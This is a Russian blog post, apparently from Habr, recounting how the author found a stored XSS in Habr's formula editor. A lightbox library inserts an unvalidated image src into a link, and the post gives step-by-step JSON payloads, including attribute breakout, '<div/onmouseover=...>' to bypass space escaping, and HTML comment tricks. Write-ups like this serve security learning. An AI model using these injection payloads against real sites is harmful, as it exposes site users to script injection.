Как я опять Хабр сломал

Моя цель - предложение широкого ассортимента товаров и услуг на постоянно высоком качестве обслуживания по самым выгодным ценам.

Всегда хотел взломать Хабр. Мечта такая, но как-то руки не доходили. И вот, вдохновившись статьей о праведном взломе через iframe src , я, как и автор поста @Maxchagin, решил исследовать функционал Хабра на предмет уязвимостей.

Начать решил с нового редактора, рассуждая следующим образом: раз он новый, то и уязвимости там точно должны быть.

Формулы

Когда вы хотите добавить формулу на Хабр, то вам предлагают сделать всё через красивый интерфейс. Вы вбиваете LaTeX, хабр рендерит формулу в картинку и вставляет её в текст.

Но если проанализировать запрос, то там просто передаётся json вида:

{
	"type": "formula",
	"attrs": {
		"source": "1+1",
		"src": "https://formula.jpg",
		"inserted":false,
		"width":131,
		"height":17
    }
}

Что превращается в картинку:

<img class="formula" source="1+1" alt="1+1" 
     src="https://formula.jpg" width="131" height="17">

Я решил попробовать вставить src="javascript:" - по привычке вбиваю это везде и смотрю, где что меняется.

{
	"type": "formula",
	"attrs": {
		"source": "Смотреть",
		"src": "javascript:",
		"inserted": false,
		"width": 131,
		"height": 17
	}
}

Результат:

<img class="formula" source="Смотреть" 
     alt="Смотреть" src="javascript:" width="131" height="17">

Значение src не проверяется ни на что.

В этом есть ряд проблем:

  • Можно указать там ссылку на свой сервер и отдавать картинку, при этом собирая статистику. Поэтому разрешать на ресурсе внешние источники для картинок - уменьшение безопасности юзеров. Ну ладно, чо.

  • Можно через картинку делать любой GET запрос, и если кто-то из разработчиков перепутает "безопасные" (GET, HEAD) и "небезопасные" (POST, PUT, PATCH, ...) типы запросов, то может быть плохо

  • Любая ссылка может быть, ну, любой. И если для <a href="..."> это может быть проблемой (например, кто-то вставит <a href="javascript:alert('xss')"> и превратит ссылку в xss), то для картинок это в принципе безопасно, потому что браузеры не выполняют javascript код в картинке. <img src="javascript:alert('xss')"> можете вставлять на все свои сайты прямо сейчас, всё будет ок. Даже если вы сделаете <img src="evil.svg">, а внутри evil.svg будет скрипт, то он не выполнится. Браузеры умные. Но вот какая проблема: если не работает javascript: и всякие злые картинки, то можно попробовать "вырваться" из текущего контекста. И вот тут нефильтрованные данные очень помогают.

Как вырваться из контекста

Если html выглядит как

<img src="{url}">

то если передать

url = "> <script>alert('xss')</script> <img src="

то это всё развернётся в

<img src=""> <script>alert('xss')</script> <img src="">

что позволит вставить произвольный скрипт в код страницы.

Поэтому когда я вижу, что мой пользовательский ввод попадает куда-то на html-страницу, я сразу туда ставлю <, >, <sc<script>ript> и прочие прикольные конструкции.

И хотя я так делаю, идея эта достаточно тупая - по двум причинам:

  1. Шаблонизаторы по умолчанию безопасные, то есть если даже вы напишете this is {user_input}, то нормальный шаблонизатор (неважно какой - в django это django templates или jinja, например, но принцип везде один и тот же) заэкранирует спец символы и заменит всякие < на &lt;, а " на &quot;

  2. Есть всякие bleach итд, которые умеют "очищать" html код от всякой дичи. Тут две важные вещи: 1) работает очищение как правило на основе белых списков (т.е. списка того, что разрешено), так что любой не разрешённый тег/атрибут будет удалён; шанс, что разрабы разрешили какой-то опасные тег, стремится к нулю 2) публичные библиотеки тестируются кучей разрабов, и вероятность, что именно вы тот самый супергерой, который нашёл баг в годами оттестированной библиотеке, тоже стремится к нулю.

Тем не менее, я не теряю надежды и пробую:

{
	"type": "formula",
	"attrs": {
		"source": "Смотреть",
		"src": "javascript:\"",
		"inserted": false,
		"width": 131,
		"height": 17
	}
}

Видите эту дополнительную " после javascript:? Я её заэкранировал, чтобы она была частью атирубута src. Если бы она работала, она позволила бы закрыть атрибут scr и добавить свой html.

Но результат ожидаемый, я вас предупреждал - " превращается в &quot;:

<img class="formula" source="Смотреть" alt="Смотреть" 
     src="javascript:&quot;" width="131" height="17">

И кавычка становится частью текста:

Но тут есть один нюанс, и называется он "чужими руками". Я так называю подход, когда не вы напрямую вставляете плохие данные, а какой-то доверенный код это делает за вас.

Смотрите: разрабы никогда не доверяют пользовательскому вводу. У вас просто нет шансов. С другой стороны, разрабы доверяют своим библиотекам. И если вы заставите библиотеку вставить ваш код, то проверяться это не будет.

Чужими руками в данном случае у нас будет библиотека для т.н. lightbox - то есть отображения картиночек в полный экран с уютным затемнением. Потому что при нажатии на несуществующую картинку эта библиотека включает серый фон, берёт содержимое тега src и вставляет его в ссылку, типа "Вот эту картинку я не могу прогрузить: {src}". Этот кусок html целиком создаётся этой lightbox библиотекой прям на лету, там нет никаких валидаций от разработчиков хабра. Поэтому моя строка javascript:" вставляется туда как есть, и я успешно закрываю атрибут href своей кавычкой:

Можно ли выбраться из тега <a>? Это же технический ресурс, конечно же да! Просто вставляем javascript:</a>Some text:

{
	"type": "formula",
	"attrs": {
		"source": "Смотреть",
		"src": "javascript:\"></a>Some text",
    "inserted":false,
    "width":131,
    "height":17
  }
}

Мы вырвались!

Что делать, когда вырвался

Экспериментировать!

  1. Во-первых, внимательный читатель заметил, что хотя хабр вставляет формулу как картинку, но lightbox вставляет ссылку, и туда можно запихнуть просто javacript:alert('xss'), и при нажатии на ссылку будет выполняться скрипт, да?

Не совсем:

  • Заставлять пользователя ещё раз кликать, причём по надписи "эта картинка не может быть загружена", будет как-то странно

  • Даже если ссылка и ведёт на javascript:, скрипт всё равно не выполнится, т.к. стоит атрибут target="_blank"

  1. Во-вторых, мы могли бы вставить классический <script>alert('xss')</script>, да?
    Нет, потому что этот кусок html создаётся динамически, и скрипт автоматически выполняться не будет.

  2. Тогда пробуем что-нибудь более извращённое, например, вставить <div onmouseover=alert('xss')>xss</div>. По идее, если юзер проведёт мышкой над этой надписью, то сработает скрипт.

{
	"type": "formula",
	"attrs": {
		"source": "Смотреть",
		"src": "javascript:\"></a>Some text
            <div onmouseover=alert('xss')>xss</div><!--",
        "inserted":false,
        "width":131,
        "height":17
    }
}

Кстати, в конце я добавил <!--, чтобы весь последующий html закомментировался и не показывалось сообщение "Эта картинка не может быть загружена". Это похоже на sql injection, где используют --, чтобы закомментировать оригинальный sql запрос.

Облом! Оказывается, там есть "poor man's escaping" - пробелы превращаются в %20. А мне они нужны для задания атрибута onmouseover.

Я уже думал, что тут наши полномочия как бы всё, но я решил погуглить какой-нибудь нечитаемый RFC, чтобы узнать, какие разделители атрибутов существуют.

Никогда не догадаетесь.

Спасибо тебе, чувак! Короче, можно написать <div/onmouseover=alert('xss')>. Да, / - это разделитель. Потому что могут.

{
	"type": "formula",
	"attrs": {
		"source": "Смотреть",
		"src": "javascript:\"></a>Some&nbsp;text
            <div/onmouseover=alert('xss')>xss</div><!--",
		"inserted": false,
		"width": 131,
		"height": 17
	}
}

Ну вот, теперь жить можно. Осталось оформить это для пользователей, ui/ux, вот это всё. Я расширил <div> на весь экран (css, гори в аду!), добавил кота на фоновую картинку (сыграло на руку то, что внутри style=... можно не писать пробелы), текст поправил, и вышло вот что:

{
	"type": "formula",
	"attrs": {
		"source": "Смотреть",
		"src": "javascript:\"></a>
            <div/onmouseover=alert('xss')>
                <div/style=\"position:fixed;bottom:0;width:100%;height:100vh;background-image:url('https://kot-i-koshka.ru/wp-content/uploads/2017/11/zloj_kot_agressivnyj_prichiny_1510142737_5a02f3116e9cb.jpg');background-position:center;background-repeat:no-repeat;background-size:cover;\">&nbsp;</div>
            </div><!--<a",
		"inserted": false,
		"width": 131,
		"height": 17
	}
}

Выводы

А нет никаких выводов. Вы сами всё знаете. Я зол, как кот на картинке, и чувство вины гложет меня изнутри. Стараюсь вот развлекаться. Жаль, что взломы сайтиков ни на что не влияют.

Оставайтесь людьми и делайте всё, что в ваших силах, даже если вам кажется это незначительным.


Подписывайтесь на мой канал "Блог погромиста", там скоро будет новый онлайн-квест.

Источник: https://habr.com/ru/post/656143/


Интересные статьи

Интересные статьи

Стыдно признаться, но я беззастенчиво использую Хабр для влияния на людей из моего окружения. Примерно каждая вторая моя публикация написана для того, чтобы её прочитал конкретный человек...
Анимированная GIF. Файл весит 4МБ Эта анимированная гифка весит 4МБ, хотя может весить В ДЕСЯТЬ РАЗ МЕНЬШЕ — 380кб! Это ужасно, потому что нагружает интернет-каналы в десятки раз бол...
Предыстория Когда-то у меня возникла необходимость проверять наличие неотправленных сообщений в «1С-Битрикс: Управление сайтом» (далее Битрикс) и получать уведомления об этом. Пробле...
Сначала в телеграм-каналах, а потом и на Хабре появилась информация об утекших данных пользователей с сайта Хабр Карьеры. Считаем нужным дать более развёрнутый комментарий, а также рассказать о т...
Если у вас есть интернет-магазин и вы принимаете платежи через Интернет, то с 01 июля 2017 года у вас есть онлайн-касса.